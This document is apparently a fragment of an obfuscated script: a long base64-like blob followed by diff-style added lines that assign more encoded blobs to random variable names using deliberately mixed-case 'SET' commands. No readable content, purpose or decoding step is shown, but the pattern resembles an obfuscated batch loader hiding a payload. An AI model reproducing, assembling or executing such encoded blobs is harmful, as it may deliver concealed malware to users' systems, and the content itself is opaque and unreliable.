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
+SET xAEr2y8D=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
+seT JIMZlyBt=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
+set u9HraJGX=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